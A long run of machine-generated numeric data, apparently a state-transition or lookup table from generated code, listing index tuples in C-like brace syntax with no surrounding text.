{0,{12905,12913,12905,12913}}, {0,{12906,12910,12906,12906}}, {0,{12907,12907,12907,12907}}, {0,{12908,12908,12908,12908}}, {0,{12909,12909,12909,12909}}, {0,{0,0,0,12696}}, {0,{12911,12911,12911,12911}}, {0,{12908,12912,12908,12908}}, {1942,{12909,12909,12909,12909}}, {0,{0,11789,0,0}}, {0,{12913,12913,12913,12913}}, {0,{12916,12919,12914,12914}}, {0,{12917,12917,12917,12918}}, {0,{11793,11795,6593,6593}}, {0,{6593,11801,6593,6593}}, {0,{12920,12921,12920,12903}}, {0,{11781,11783,0,0}}, {0,{11781,12922,0,0}}, {0,{12923,12961,12961,12963}}, {0,{12924,6611,12960,0}}, {0,{12925,12925,12954,12959}}, {1943,{12926,12926,12926,12926}}, {0,{12927,6578,6578,6578}}, {0,{12928,6576,6576,6576}}, {0,{12929,4991,4991,0}}, {0,{12930,12930,12953,12953}}, {0,{12931,12931,12931,12951}}, {0,{12932,4979,0,0}}, {0,{12933,12933,12950,12950}}, {0,{12934,12949,12949,12949}}, {0,{12935,12948,12948,12948}}, {0,{12936,12947,12947,12947}}, {0,{12937,12937,12937,12942}}, {0,{12938,12938,12938,12938}}, {0,{12939,12939,12939,12939}}, {0,{12940,12940,12940,12940}}, {0,{12941,3677,12941,3677}}, {1944,{3678,3678,3678,3678}}, {0,{12943,12943,12943,12943}}, {0,{12944,12944,12944,12944}}, {0,{12945,12945,12945,12945}}, {0,{12946,0,12946,0}}, {1945,{0,0,0,0}}, {0,{12942,12942,12942,12942}}, {0,{12947,12947,12947,12947}}, {0,{12948,12948,12948,12948}}, {0,{12949,12949,12949,12949}}, {0,{12952,0,0,0}}, {0,{12950,12950,12950,12950}}, {0,{12951,12951,12951,12951}}, {1946,{12955,12955,12955,12955}}, {0,{12956,0,0,0}}, {0,{12957,0,0,0}}, {0,{12958,0,0,0}}, {0,{12953,12953,12953,12953}}, {0,{12955,12955,12955,12955}}, {0,{12959,12959,12959,12959}}, {0,{12962,6611,12960,0}}, {0,{12954,12954,12954,12959}}, {0,{12960,6611,12960,0}}, {0,{12965,12983,12914,12914}}, {0,{12966,12975,12966,12981}}, {0,{12967,12970,7380,7387}}, {0,{12968,7381,7386,7386}}, {0,{12969,7383,7384,7383}}, {0,{7122,7132,0,0}}, {0,{12971,12973,12974,12974}}, {0,{12969,12972,7384,7383}}, {1948,{7090,7096,0,0}}, {0,{7382,12972,7384,7383}}, {0,{7383,12972,7384,7383}}, {0,{12976,12979,7391,7401}}, {0,{12977,7392,7396,7396}}, {0,{12978,7394,7395,7394}}, {0,{7122,7228,0,0}}, {0,{12980,7398,7400,7400}}, {0,{12978,7399,7395,7394}}, {0,{7391,12982,7391,7401}}, {0,{7398,7398,7400,7400}}, {0,{12920,12920,12920,12903}}, {0,{12985,12914,12914,12914}}, {0,{12986,12986,12986,12986}}, {0,{7453,11778,7453,7453}}, {0,{12988,12988,12991,12995}}, {0,{12989,12983,12914,12914}}, {0,{12990,12990,12990,12913}}, {0,{11781,11902,0,0}}, {0,{12992,12983,12914,12914}}, {0,{12993,12993,12993,12994}}, {0,{11906,11908,7580,0}}, {0,{7580,11912,7580,0}}, {0,{12914,12914,12914,12914}}, {0,{12997,12988,13065,12995}}, {0,{12998,13037,13057,12914}}, {0,{12999,12999,12999,13028}}, {0,{13000,13023,13027,13027}}, {0,{13001,13022,13022,13022}}, {0,{13002,13021,13021,13021}}, {0,{13003,13003,13013,13019}}, {0,{13004,13004,13004,13004}}, {0,{13005,13007,13005,6578}}, {0,{13006,6576,13006,6576}}, {0,{4991,7638,4991,0}}, {0,{13008,6576,13008,6576}}, {0,{13009,13009,13009,13012}}, {0,{13010,4982,13011,0}}, {1949,{4978,4978,4978,0}}, {1950,{0,0,0,0}}, {0,{13011,0,13011,0}}, {0,{13014,13014,13014,13014}}, {0,{13015,13017,13015,0}}, {0,{13016,0,13016,0}}, {0,{0,7630,0,0}}, {0,{13018,0,13018,0}}, {0,{13012,13012,13012,13012}}, {0,{13020,13020,13020,13020}}, {0,{13015,0,13015,0}}, {0,{13013,13013,13013,13019}}, {0,{13021,13021,13021,13021}}, {0,{13024,13026,13026,13026}}, {0,{13002,13025,13021,13021}}, {1952,{13013,13013,13013,13019}}, {0,{13021,13025,13021,13021}}, {0,{13022,13022,13022,13022}}, {0,{13029,13034,13029,13029}}, {0,{13030,13030,13030,13030}}, {0,{13031,13031,13031,13031}}, {0,{13032,13032,13032,0}}, {0,{13033,13033,13033,13033}}, {0,{0,13017,0,0}}, {0,{13035,13035,13035,13035}}, {0,{13031,13036,13031,13031}}, {1954,{13032,13032,13032,0}}, {0,{13038,13038,13038,12903}}, {0,{13039,13049,13056,13056}}, {0,{13040,13048,13048,13048}}, {0,{13041,13047,13047,13047}}, {0,{6586,6586,0,13042}}, {0,{0,0,0,13043}}, {0,{13044,0,0,0}}, {0,{13045,0,0,0}}, {0,{0,0,13046,0}}, {0,{0,0,0,7736}}, {0,{0,0,0,13042}}, {0,{13047,13047,13047,13047}}, {0,{13050,13053,13053,13055}}, {0,{13051,13052,13047,13047}}, {0,{6609,6609,6610,13042}}, {1956,{0,0,0,13042}}, {0,{13054,13052,13047,13047}}, {0,{6610,6610,6610,13042}}, {0,{13047,13052,13047,13047}}, {0,{13048,13048,13048,13048}}, {0,{13058,13058,13058,12913}}, {0,{13059,13062,13059,13059}}, {0,{13060,13060,13060,13060}}, {0,{13061,13061,13061,13061}}, {0,{13019,13019,13019,13019}}, {0,{13063,13063,13063,13063}}, {0,{13061,13064,13061,13061}}, {1958,{13019,13019,13019,13019}}, {0,{13066,12983,12914,12914}}, {0,{13067,13067,13067,13082}}, {0,{13068,13078,13081,13029}}, {0,{13069,13077,13077,13077}}, {0,{13070,13031,13073,13031}}, {0,{13071,13071,13032,0}}, {0,{13072,13072,13072,13072}}, {0,{6578,13007,6578,6578}}, {0,{13074,13032,13076,0}}, {0,{13033,13033,13033,13075}}, {0,{7109,13017,7109,0}}, {1960,{13033,13033,13033,13075}}, {0,{13031,13031,13073,13031}}, {0,{13079,13080,13080,13080}}, {0,{13070,13036,13073,13031}}, {0,{13031,13036,13073,13031}}, {0,{13077,13077,13077,13077}}, {0,{13081,13083,13081,13029}}, {0,{13080,13080,13080,13080}}, {0,{13085,13146,13157,13169}}, {0,{13086,12983,12914,12914}}, {0,{13087,13128,13087,13143}}, {0,{13088,13124,13127,8191}}, {0,{13089,13122,13122,13122}}, {0,{13090,8185,13112,8185}}, {0,{13091,6586,0,8058}}, {0,{6577,6577,6577,13092}}, {0,{6578,6578,6578,13093}}, {0,{6576,6576,6576,13094}}, {0,{13095,13095,13095,13110}}, {0,{13096,4982,0,0}}, {0,{13097,13097,13097,13109}}, {0,{13098,13098,13108,13108}}, {0,{13099,13099,13107,13107}}, {0,{13100,13106,13106,13106}}, {0,{13101,13105,13105,13105}}, {0,{13102,0,13104,0}}, {0,{3762,3762,3762,13103}}, {1961,{0,0,0,0}}, {0,{0,0,0,13103}}, {0,{13104,0,13104,0}}, {0,{13105,13105,13105,13105}}, {0,{13106,13106,13106,13106}}, {0,{13107,13107,13107,13107}}, {0,{13108,13108,13108,13108}}, {0,{13111,0,0,0}}, {0,{13109,13109,13109,13109}}, {0,{13113,0,0,13117}}, {0,{0,0,0,13114}}, {0,{0,0,0,13115}}, {0,{0,0,0,13116}}, {0,{13110,13110,13110,13110}}, {1962,{0,0,0,13118}}, {0,{0,0,0,13119}}, {0,{0,0,0,13120}}, {0,{0,0,13121,0}}, {1963,{0,0,0,0}}, {0,{13123,8185,13112,8185}}, {0,{13113,0,0,8058}}, {0,{13125,13126,13126,13126}}, {0,{13090,8189,13112,8185}}, {0,{13123,8189,13112,8185}}, {0,{13122,13122,13122,13122}}, {0,{13129,13132,13135,8191}}, {0,{13130,13131,13131,13131}}, {0,{13090,8185,13123,8185}}, {0,{13123,8185,13123,8185}}, {0,{13133,13134,13134,13134}}, {0,{13090,8189,13123,8185}}, {0,{13123,8189,13123,8185}}, {0,{13136,13136,13136,13136}}, {0,{13137,8185,13123,8185}}, {0,{13113,0,0,13138}}, {1964,{0,0,0,13139}}, {0,{0,0,0,13140}}, {0,{0,0,0,13141}}, {0,{0,13142,0,0}}, {1965,{0,0,0,0}}, {0,{13144,13145,13144,8191}}, {0,{13131,13131,13131,13131}}, {0,{13134,13134,13134,13134}}, {0,{13147,12983,12914,12914}}, {0,{13148,13148,13152,13156}}, {0,{13149,13151,8191,8191}}, {0,{13150,8184,8184,8184}}, {0,{8188,8185,8185,8185}}, {0,{8187,8190,8190,8190}}, {0,{13153,13155,8216,8216}}, {0,{13154,8204,8204,8204}}, {0,{8213,8205,8205,8205}}, {0,{8212,8215,8215,8215}}, {0,{8191,12106,8191,8191}}, {0,{13158,12983,12914,12914}}, {0,{13159,13159,13159,13167}}, {0,{13160,13163,13166,8191}}, {0,{13161,13162,13162,13162}}, {0,{13090,8251,13123,8185}}, {0,{13123,8251,13123,8185}}, {0,{13164,13165,13165,13165}}, {0,{13090,8266,13123,8185}}, {0,{13123,8266,13123,8185}}, {0,{13162,13162,13162,13162}}, {0,{13166,13168,13166,8191}}, {0,{13165,13165,13165,13165}}, {0,{13170,12914,12914,12914}}, {0,{13156,13156,13156,13156}}, {0,{13172,13192,13193,13194}}, {0,{13173,13185,13189,12995}}, {0,{13174,13182,12914,12914}}, {0,{13175,13175,13175,12913}}, {0,{13176,13179,13176,13176}}, {0,{13177,13177,13177,13177}}, {0,{13178,13178,13178,13178}}, {0,{12755,12755,12755,12755}}, {0,{13180,13180,13180,13180}}, {0,{13178,13181,13178,13178}}, {1967,{12755,12755,12755,12755}}, {0,{13183,13183,13183,12913}}, {0,{12902,13184,12902,12902}}, {0,{12901,12901,12901,12901}}, {0,{12914,13186,12914,12914}}, {0,{12913,13187,12913,12913}}, {0,{0,13188,0,0}}, {0,{12963,12963,12963,12963}}, {0,{13190,12914,12914,12914}}, {0,{13191,13191,13191,13191}}, {0,{8564,12133,8564,0}}, {0,{12995,12995,12995,12995}}, {0,{12995,12995,13189,12995}}, {0,{13195,12995,13198,12995}}, {0,{13196,12914,12914,12914}}, {0,{13197,13197,13197,13197}}, {0,{8671,11789,8671,0}}, {0,{12914,12914,13199,12914}}, {0,{13200,13200,13200,13200}}, {0,{0,11789,13201,0}}, {0,{0,0,13202,0}}, {0,{0,13203,0,0}}, {0,{0,0,0,13204}}, {0,{0,0,0,13205}}, {0,{0,0,0,13206}}, {0,{0,0,0,13207}}, {0,{13208,13208,13208,13208}}, {0,{0,0,0,13209}}, {0,{13210,13210,13210,13210}}, {0,{13211,13211,13211,13211}}, {0,{13212,13212,13212,0}}, {0,{13213,13213,13213,13213}}, {0,{13214,0,13214,0}}, {1968,{0,0,0,0}}, {0,{13216,13192,13308,13338}}, {0,{13217,13185,12995,12995}}, {0,{13218,13182,12904,12914}}, {0,{13219,13293,13219,12913}}, {0,{13220,13290,13220,13220}}, {0,{13221,13221,13221,13221}}, {0,{13222,13222,13222,13222}}, {0,{12691,13223,12691,13273}}, {0,{12692,12692,0,13224}}, {0,{13225,0,0,0}}, {0,{13226,0,13258,0}}, {0,{5426,0,13227,0}}, {0,{0,0,13228,0}}, {0,{13229,13229,13229,0}}, {0,{13230,13230,13230,13230}}, {0,{13231,13231,13231,13231}}, {0,{13232,13232,13232,13232}}, {0,{13233,13233,13233,13233}}, {0,{13234,13234,13234,13234}}, {0,{13235,13235,13235,13235}}, {0,{0,0,0,13236}}, {0,{0,0,0,13237}}, {0,{0,0,0,13238}}, {0,{13239,0,0,0}}, {0,{13240,0,0,0}}, {0,{0,13241,0,0}}, {0,{13242,13242,13242,13242}}, {0,{13243,13243,13243,13243}}, {0,{13244,13244,13244,13244}}, {0,{13245,13245,13245,13245}}, {0,{13246,13246,13246,13246}}, {0,{13247,13247,13247,13247}}, {0,{13248,13248,13248,13248}}, {0,{13249,13249,13249,13249}}, {0,{13250,13250,13250,13250}}, {0,{13251,13251,13251,13251}}, {0,{0,0,0,13252}}, {0,{0,0,0,13253}}, {0,{0,0,0,13254}}, {0,{0,0,0,13255}}, {0,{0,0,0,13256}}, {0,{13257,0,0,0}}, {1969,{0,0,0,0}}, {0,{0,13259,0,0}}, {0,{0,0,13260,0}}, {0,{13261,13261,13261,13261}}, {0,{13262,13262,13262,13262}}, {0,{13263,13263,13263,13263}}, {0,{13264,13264,13264,13264}}, {0,{13265,13265,13265,13265}}, {0,{13266,13266,13266,13266}}, {0,{13267,13267,13267,13267}}, {0,{0,0,0,13268}}, {0,{0,0,0,13269}}, {0,{0,0,0,13270}}, {0,{13271,0,0,0}}, {0,{13272,0,0,0}}, {1970,{0,0,0,0}}, {0,{12692,12692,0,13274}}, {0,{13275,0,0,0}}, {0,{13276,0,0,0}}, {0,{5426,0,13277,0}}, {0,{0,0,0,13278}}, {0,{13279,13279,13279,13279}}, {0,{13280,13280,13280,13280}}, {0,{13281,13281,13281,13281}}, {0,{13282,13282,13282,13282}}, {0,{13283,13283,13283,13283}}, {0,{0,0,0,13284}}, {0,{0,0,0,13285}}, {0,{0,0,0,13286}}, {0,{0,0,0,13287}}, {0,{0,0,0,13288}}, {0,{0,0,13289,0}}, {1972,{0,0,0,0}}, {0,{13291,13291,13291,13291}}, {0,{13222,13292,13222,13222}}, {1974,{12691,13223,12691,13273}}, {0,{13294,13305,13294,13294}}, {0,{13295,13295,13295,13295}}, {0,{13296,13296,13296,13296}}, {0,{12755,13297,12755,13301}}, {0,{12692,12692,0,13298}}, {0,{13299,0,0,0}}, {0,{13300,0,13258,0}}, {1975,{0,0,0,0}}, {0,{12692,12692,0,13302}}, {0,{13303,0,0,0}}, {0,{13304,0,0,0}}, {0,{0,0,13277,0}}, {0,{13306,13306,13306,13306}}, {0,{13296,13307,13296,13296}}, {1977,{12755,13297,12755,13301}}, {0,{13309,12995,12995,12995}}, {0,{13310,13335,13057,12914}}, {0,{13058,13311,13058,12913}}, {0,{13312,13332,13312,13312}}, {0,{13313,13313,13313,13313}}, {0,{13314,13314,13314,13314}}, {0,{13019,13019,13019,13315}}, {0,{13020,13020,13020,13316}}, {0,{13015,13317,13015,0}}, {0,{13318,0,0,0}}, {0,{0,0,13319,0}}, {0,{0,0,0,13320}}, {0,{13321,13321,13321,13321}}, {0,{13322,13322,13322,13322}}, {0,{13323,13323,13323,13323}}, {0,{13324,13324,13324,13324}}, {0,{13325,13325,13325,13325}}, {0,{0,0,0,13326}}, {0,{0,0,0,13327}}, {0,{0,0,0,13328}}, {0,{0,0,0,13329}}, {0,{0,0,0,13330}}, {0,{13331,0,0,0}}, {1978,{0,0,0,0}}, {0,{13333,13333,13333,13333}}, {0,{13314,13334,13314,13314}}, {1980,{13019,13019,13019,13315}}, {0,{13336,13336,13336,12913}}, {0,{13056,13337,13056,13056}}, {0,{13055,13055,13055,13055}}, {0,{13339,12995,12995,12995}}, {0,{13340,12914,13342,12914}}, {0,{12913,12913,12913,13341}}, {1981,{0,11789,0,0}}, {0,{13343,13343,13343,12913}}, {0,{13344,13352,13344,13344}}, {0,{13345,13345,13345,13345}}, {0,{13346,13346,13346,13346}}, {0,{13347,13347,13347,13347}}, {0,{0,0,0,13348}}, {0,{0,0,0,13349}}, {0,{0,0,0,13350}}, {0,{0,13351,0,0}}, {1982,{0,0,0,0}}, {0,{13353,13353,13353,13353}}, {0,{13346,13354,13346,13346}}, {1984,{13347,13347,13347,13347}}, {0,{13356,13478,13485,0}}, {0,{13357,13457,13459,13471}}, {0,{13358,13434,13453,0}}, {0,{13359,13430,13432,0}}, {0,{13360,13411,13360,13421}}, {0,{13361,13361,13361,13410}}, {0,{13362,13362,13362,13362}}, {0,{13363,12716,12716,12716}}, {0,{12717,13364,12691,12699}}, {0,{12692,12692,0,13365}}, {0,{13366,7098,7098,0}}, {0,{13367,0,0,0}}, {0,{13368,13396,13408,13396}}, {0,{13369,5427,5427,5427}}, {0,{13370,13370,13370,13386}}, {0,{13371,13371,13371,13371}}, {0,{13372,13372,13372,13372}}, {0,{13373,13373,13373,13373}}, {0,{13374,13374,13374,13374}}, {0,{13375,4597,4597,4597}}, {0,{13376,13376,13376,13376}}, {0,{0,0,0,13377}}, {0,{0,0,0,13378}}, {0,{0,0,0,13379}}, {0,{13380,13382,13382,13384}}, {0,{13381,4275,4275,4275}}, {1988,{0,4149,0,0}}, {0,{13383,0,0,0}}, {1992,{0,0,0,0}}, {0,{13385,0,0,0}}, {1995,{0,0,0,0}}, {0,{13387,13387,13387,13387}}, {0,{13388,13388,13388,13388}}, {0,{13389,13389,13389,13389}}, {0,{13390,13390,13390,13390}}, {0,{13391,4645,4645,4645}}, {0,{13392,13392,13392,13392}}, {0,{0,0,0,13393}}, {0,{0,0,0,13394}}, {0,{0,0,0,13395}}, {0,{13382,13382,13382,13384}}, {0,{13397,0,0,0}}, {0,{13398,13398,13398,13398}}, {0,{13399,13399,13399,13399}}, {0,{13400,13400,13400,13400}}, {0,{13401,13401,13401,13401}}, {0,{13402,13402,13402,13402}}, {0,{13403,4676,4676,4676}}, {0,{13404,13404,13404,13404}}, {0,{0,0,0,13405}}, {0,{0,0,0,13406}}, {0,{0,0,0,13407}}, {0,{13384,13384,13384,13384}}, {0,{13409,4932,0,0}}, {0,{13386,13386,13386,13386}}, {0,{12735,12735,12735,12735}}, {0,{13412,13412,13412,13420}}, {0,{13413,13413,13413,13413}}, {0,{13414,12758,12758,12758}}, {0,{12759,13415,12755,12756}}, {0,{12692,12692,0,13416}}, {0,{13417,5801,5801,0}}, {0,{13418,0,0,0}}, {0,{13396,13396,13419,13396}}, {0,{13397,4932,0,0}}, {0,{12771,12771,12771,12771}}, {0,{13422,13422,13422,13429}}, {0,{13423,13423,13423,13423}}, {0,{13424,12782,12782,12782}}, {0,{0,13425,0,0}}, {0,{0,0,0,13426}}, {0,{13427,5801,5801,0}}, {0,{13428,0,0,0}}, {0,{13396,13396,13396,13396}}, {0,{12783,12783,12783,12783}}, {0,{13431,13431,13431,0}}, {0,{12902,12902,12902,12902}}, {0,{13433,0,13433,0}}, {0,{12906,12906,12906,12906}}, {0,{13435,0,13448,0}}, {0,{11685,11685,11685,13436}}, {0,{13437,13437,9694,9694}}, {0,{13438,13438,13438,13438}}, {0,{6562,6562,13439,6562}}, {0,{13440,13447,13440,13447}}, {0,{13441,13441,13441,13444}}, {0,{13442,0,0,0}}, {0,{13443,0,0,0}}, {1996,{0,0,0,0}}, {0,{13445,0,0,0}}, {0,{13446,0,0,0}}, {1997,{6567,6567,6567,6567}}, {0,{13441,13441,13441,13441}}, {0,{0,0,0,13449}}, {0,{13450,13450,0,0}}, {0,{13451,13451,13451,13451}}, {0,{0,0,13452,0}}, {0,{13447,13447,13447,13447}}, {0,{13454,0,0,0}}, {0,{13455,13456,13455,13456}}, {0,{10036,10036,10036,10037}}, {0,{10039,10039,10039,10041}}, {0,{0,0,13458,0}}, {0,{12335,0,0,0}}, {0,{13460,0,13468,0}}, {0,{13461,13464,13466,0}}, {0,{13462,13462,13462,13463}}, {0,{13027,13027,13027,13027}}, {0,{13029,13029,13029,13029}}, {0,{13465,13465,13465,0}}, {0,{13056,13056,13056,13056}}, {0,{13467,13467,13467,0}}, {0,{13059,13059,13059,13059}}, {0,{13469,0,0,0}}, {0,{13470,13470,13470,13470}}, {0,{13081,13081,13081,13029}}, {0,{12446,13472,13475,12446}}, {0,{13473,0,0,0}}, {0,{12448,12448,13474,12448}}, {0,{10391,10391,10391,10391}}, {0,{13476,0,0,0}}, {0,{13477,13477,13477,13477}}, {0,{10490,10490,10490,10388}}, {0,{13479,0,13484,0}}, {0,{13480,0,13483,0}}, {0,{13481,13430,0,0}}, {0,{13482,13482,13482,0}}, {0,{13176,13176,13176,13176}}, {0,{12456,0,0,0}}, {0,{0,0,13483,0}}, {0,{13486,0,13491,13495}}, {0,{13487,0,0,0}}, {0,{13488,13430,13432,0}}, {0,{13489,13490,13489,0}}, {0,{13220,13220,13220,13220}}, {0,{13294,13294,13294,13294}}, {0,{13492,0,0,0}}, {0,{13493,13464,13466,0}}, {0,{13467,13494,13467,0}}, {0,{13312,13312,13312,13312}}, {0,{13496,0,0,0}}, {0,{13497,0,13499,0}}, {0,{0,0,0,13498}}, {1998,{0,0,0,0}}, {0,{13500,13500,13500,0}}, {0,{13344,13344,13344,13344}}, {0,{13502,13572,13602,0}}, {0,{13503,13457,13459,13541}}, {0,{13504,13536,13453,0}}, {0,{13505,13430,13432,0}}, {0,{13506,13527,13506,13535}}, {0,{13507,13507,13507,13410}}, {0,{13508,13508,13508,13508}}, {0,{12716,13509,12716,12716}}, {0,{12717,12722,12691,13510}}, {0,{12692,12692,0,13511}}, {0,{13512,12701,0,0}}, {0,{13513,0,0,0}}, {0,{5426,0,13514,0}}, {0,{0,0,0,13515}}, {0,{13516,13516,13516,13516}}, {0,{13517,13517,13517,0}}, {0,{13518,13518,13518,13518}}, {0,{13519,13519,13519,13519}}, {0,{13520,13520,13520,13520}}, {0,{0,0,0,13521}}, {0,{0,0,0,13522}}, {0,{0,0,0,13523}}, {0,{0,0,0,13524}}, {0,{0,0,0,13525}}, {0,{13526,0,13526,0}}, {1999,{0,0,0,0}}, {0,{13528,13528,13528,13420}}, {0,{13529,13529,13529,13529}}, {0,{12758,13530,12758,12758}}, {0,{12759,12763,12755,13531}}, {0,{12692,12692,0,13532}}, {0,{13533,12701,0,0}}, {0,{13534,0,0,0}}, {0,{0,0,13514,0}}, {0,{13429,13429,13429,13429}}, {0,{12497,13537,0,0}}, {0,{0,13538,0,0}}, {0,{0,13539,0,0}}, {0,{13540,13540,13540,13540}}, {0,{12960,0,12960,0}}, {0,{13542,13564,13567,12584}}, {0,{13543,12583,0,0}}, {0,{13544,13561,13544,13561}}, {0,{13545,13545,13545,11421}}, {0,{13546,13546,13546,13546}}, {0,{13547,8185,13112,8185}}, {0,{13548,0,0,8058}}, {0,{0,0,0,13549}}, {0,{0,0,0,13550}}, {0,{0,0,0,13551}}, {0,{13552,13552,13552,13552}}, {0,{13553,0,0,0}}, {0,{13554,13554,13554,13554}}, {0,{13555,13555,13555,13555}}, {0,{13556,13556,13556,13556}}, {0,{13557,13557,13557,13557}}, {0,{13558,13558,13558,13558}}, {0,{13104,11046,13559,0}}, {0,{0,0,0,13560}}, {2001,{0,0,0,0}}, {0,{13562,13562,13562,11421}}, {0,{13563,13563,13563,13563}}, {0,{13547,8185,13123,8185}}, {0,{13565,12583,0,0}}, {0,{12586,12586,13566,12586}}, {0,{11430,11430,11430,11430}}, {0,{13568,12583,0,0}}, {0,{13569,13569,13569,13569}}, {0,{13570,13570,13570,11421}}, {0,{13571,13571,13571,13571}}, {0,{13547,8251,13123,8185}}, {0,{13573,0,13484,13598}}, {0,{13480,13574,13575,0}}, {0,{0,13537,0,0}}, {0,{13576,0,0,0}}, {0,{13577,13577,13577,12457}}, {0,{13578,13578,13578,0}}, {0,{13579,13579,13579,13579}}, {0,{13580,0,8557,0}}, {0,{0,0,0,13581}}, {0,{0,0,0,13582}}, {0,{13583,0,0,0}}, {0,{13584,0,0,0}}, {0,{13585,0,13585,0}}, {0,{0,0,0,13586}}, {0,{13587,13587,13587,13587}}, {0,{13588,13588,13588,0}}, {0,{13589,13589,13589,13589}}, {0,{13590,13590,13590,13590}}, {0,{13591,13591,13591,13591}}, {0,{0,0,0,13592}}, {0,{0,0,0,13593}}, {0,{0,0,0,13594}}, {0,{0,0,0,13595}}, {0,{0,0,0,13596}}, {0,{13597,0,0,0}}, {2002,{0,0,0,0}}, {0,{0,0,13599,0}}, {0,{0,0,13600,0}}, {0,{13601,13601,13601,13601}}, {0,{0,0,13201,0}}, {0,{13603,0,13491,13495}}, {0,{13487,13574,0,0}}, {0,{13605,13619,13485,0}}, {0,{13606,0,13613,13616}}, {0,{13607,12496,13611,0}}, {0,{13608,13430,13432,0}}, {0,{13609,13610,13609,13535}}, {0,{13410,13410,13410,13410}}, {0,{13420,13420,13420,13420}}, {0,{13612,0,0,0}}, {0,{11693,11694,11693,11694}}, {0,{13460,0,13614,0}}, {0,{13615,0,0,0}}, {0,{13463,13463,13463,13463}}, {0,{12619,13617,12619,12619}}, {0,{13618,0,0,0}}, {0,{11721,11721,11723,11721}}, {0,{13620,0,0,0}}, {0,{13480,0,0,0}}, {0,{13622,13629,13632,13635}}, {0,{13623,0,0,0}}, {0,{13624,0,0,13628}}, {0,{13625,13625,13625,13625}}, {0,{13626,0,0,0}}, {0,{13627,13627,13627,13627}}, {0,{7453,7453,7453,7453}}, {0,{12619,12619,12619,12619}}, {0,{13630,0,0,0}}, {0,{0,0,0,13631}}, {0,{12446,12446,12446,12446}}, {0,{13633,0,0,0}}, {0,{0,0,0,13634}}, {0,{12584,12584,12584,12584}}, {0,{13636,0,0,0}}, {0,{0,0,0,13628}}, {0,{13638,15143,15440,15629}}, {0,{13639,14652,14903,15130}}, {0,{13640,14444,14629,14634}}, {0,{13641,14328,13641,14340}}, {0,{13642,14124,14233,14315}}, {0,{13643,13914,13947,14110}}, {0,{13644,13785,13806,13902}}, {0,{13645,13722,13755,13784}}, {0,{13646,13699,13699,13713}}, {0,{13647,13698,13698,13698}}, {0,{13648,13682,13687,13692}}, {0,{13649,13649,13649,13649}}, {0,{13650,13650,13650,13650}}, {0,{13651,13651,13651,13651}}, {0,{13652,13677,13680,13681}}, {0,{13653,13653,13655,13676}}, {0,{3832,3832,3832,13654}}, {2003,{0,0,0,0}}, {0,{13656,13656,13656,13675}}, {0,{13657,13669,13674,13674}}, {0,{13658,13668,13668,13668}}, {0,{13659,13664,13664,13665}}, {0,{13660,13662,13662,13662}}, {0,{13661,13661,3748,3748}}, {2004,{3747,3747,3747,3745}}, {0,{13663,13663,3748,3748}}, {2005,{3745,3745,3745,3745}}, {0,{13662,13662,13662,13662}}, {0,{13666,13666,13666,13666}}, {0,{13667,13667,0,0}}, {2006,{0,0,0,0}}, {0,{13665,13665,13665,13665}}, {0,{13670,13668,13668,13668}}, {0,{13671,13665,13665,13665}}, {0,{13672,13666,13666,13666}}, {0,{13673,13673,0,0}}, {2007,{3771,3771,3771,0}}, {0,{13668,13668,13668,13668}}, {2008,{13674,13674,13674,13674}}, {0,{3852,3852,3852,13654}}, {0,{3864,3864,13678,3865}}, {0,{13656,13656,13656,13679}}, {0,{13674,13674,13674,13674}}, {2009,{3864,3864,13678,3865}}, {0,{3865,3865,13678,3865}}, {0,{13683,13683,13683,13683}}, {0,{13684,13684,13684,13684}}, {0,{13685,13685,13685,13685}}, {0,{13686,3881,3882,3883}}, {0,{13653,13653,13676,13676}}, {0,{13688,13688,13688,13688}}, {0,{13689,13689,13689,13689}}, {0,{13690,13690,13690,13690}}, {0,{13691,3883,4773,3883}}, {0,{13676,13676,13676,13676}}, {0,{13693,13693,13693,13693}}, {0,{13694,13694,13694,13694}}, {0,{13695,13695,13695,13695}}, {0,{13696,4796,4798,4796}}, {0,{13697,13697,13697,13697}}, {0,{4793,4793,4793,13654}}, {0,{13692,13692,13692,13692}}, {0,{13700,13698,13698,13698}}, {0,{13701,13692,13692,13692}}, {0,{13702,13702,13702,13702}}, {0,{13703,13703,13703,13703}}, {0,{13704,13704,13704,13704}}, {0,{13705,13710,13712,13710}}, {0,{13697,13697,13706,13697}}, {0,{13707,13707,13707,13675}}, {0,{13708,13674,13674,13674}}, {0,{13709,13668,13668,13668}}, {0,{13664,13664,13664,13665}}, {0,{4797,4797,13711,4797}}, {0,{13707,13707,13707,13679}}, {2010,{4797,4797,13711,4797}}, {0,{13714,7473,7473,7473}}, {0,{13715,7474,7474,7474}}, {0,{13716,13716,13716,13716}}, {0,{13717,13717,13717,13717}}, {0,{13718,13718,13718,13718}}, {0,{13719,13719,13721,13719}}, {0,{0,0,13720,0}}, {0,{13679,13679,13679,13679}}, {2011,{0,0,13720,0}}, {2012,{13723,13747,13747,13754}}, {0,{13724,13745,13746,13746}}, {0,{13725,13735,13740,13740}}, {0,{13726,13726,13726,13726}}, {0,{13727,13727,13727,13727}}, {0,{13728,13728,13728,13728}}, {0,{13729,13733,13734,13719}}, {0,{13730,13730,13731,13732}}, {0,{4978,4978,4978,13654}}, {0,{13679,13679,13679,13675}}, {0,{0,0,0,13654}}, {0,{4982,4982,13720,0}}, {2013,{4982,4982,13720,0}}, {0,{13736,13736,13736,13736}}, {0,{13737,13737,13737,13737}}, {0,{13738,13738,13738,13738}}, {0,{13739,4991,4992,0}}, {0,{13730,13730,13732,13732}}, {0,{13741,13741,13741,13741}}, {0,{13742,13742,13742,13742}}, {0,{13743,13743,13743,13743}}, {0,{13744,0,4910,0}}, {0,{13732,13732,13732,13732}}, {2015,{13740,13740,13740,13740}}, {0,{13740,13740,13740,13740}}, {0,{13748,13745,13746,13746}}, {0,{13749,13740,13740,13740}}, {0,{13750,13750,13750,13750}}, {0,{13751,13751,13751,13751}}, {0,{13752,13752,13752,13752}}, {0,{13753,13719,13721,13719}}, {0,{13732,13732,13731,13732}}, {0,{13714,7481,7473,7473}}, {0,{13756,13756,13756,13778}}, {0,{13757,13777,13777,13777}}, {0,{13758,13772,13772,13772}}, {0,{13759,13759,13759,13759}}, {0,{13760,13760,13760,13760}}, {0,{13761,13761,13761,13761}}, {0,{13762,13769,13771,13719}}, {0,{13763,13763,13765,13763}}, {0,{5320,5320,5320,13764}}, {2016,{5321,0,0,0}}, {0,{13766,13766,13766,13768}}, {0,{13767,13674,13674,13674}}, {2017,{13668,13668,13668,13668}}, {2018,{13767,13674,13674,13674}}, {0,{5324,5324,13770,5324}}, {0,{13766,13766,13766,13766}}, {2019,{5324,5324,13770,5324}}, {0,{13773,13773,13773,13773}}, {0,{13774,13774,13774,13774}}, {0,{13775,13775,13775,13775}}, {0,{13776,5331,5332,0}}, 